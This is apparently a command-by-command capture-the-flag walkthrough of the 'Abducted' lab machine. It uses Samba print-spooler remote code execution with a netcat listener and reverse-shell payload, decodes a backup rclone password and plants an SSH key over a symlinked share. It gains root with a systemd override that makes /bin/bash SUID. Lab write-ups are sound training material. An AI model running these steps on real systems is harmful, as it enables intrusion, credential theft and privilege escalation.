Abducted: Samba RCE to Root

$ nmap -p- --min-rate 5000 -sS $TARGET
$ nmap -sC -sV -A -oN nmap_report.txt $TARGET

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd
445/tcp open  microsoft-ds Samba smbd (SMB1-3)

$ rpcclient -U "" -N $TARGET
rpcclient $> enumdomusers

user:[scott] rid:[0x3e8]

$ smbclient -L //$TARGET/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        HP-Reception    Printer
        projects        Disk
        transfer        Disk
        IPC$            IPC

# listener first
$ nc -lvnp 4444

# impacket-based spoolss client:
#   OpenPrinter("HP-Reception") -> StartDocPrinter with a job name
#   carrying a reverse-shell payload -> StartPagePrinter/WritePrinter/EndDocPrinter
$ python3 abducted_spoolss_exploit.py $TARGET

$ find / -iname "*.conf" -path "*backup*" 2>/dev/null
$ cat /opt/offsite-backup/rclone.conf

pass = [REDACTED — rclone "obscure" format]

$ rclone reveal [REDACTED]
[REDACTED — plaintext]

$ ssh scott@abducted.htb
Password: [REDACTED]

scott@abducted:~$ cat user.txt

$ ssh-keygen -t ed25519 -f attacker_key -N ""
$ smbclient //abducted.htb/transfer -U scott
Password: [REDACTED]

smb: \> # symlink primitive into marcus's .ssh, then
smb: \> put attacker_key.pub authorized_keys

$ ssh -i attacker_key marcus@abducted.htb

marcus@abducted:~$ id
marcus@abducted:~$ ls -la /etc/systemd/system/smbd.service.d/

$ mkdir -p /etc/systemd/system/smbd.service.d
$ cat <<'EOF' > /etc/systemd/system/smbd.service.d/override.conf
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

$ systemctl daemon-reload
$ systemctl restart smbd

$ /bin/bash -p
# whoami → root
# cat /root/root.txt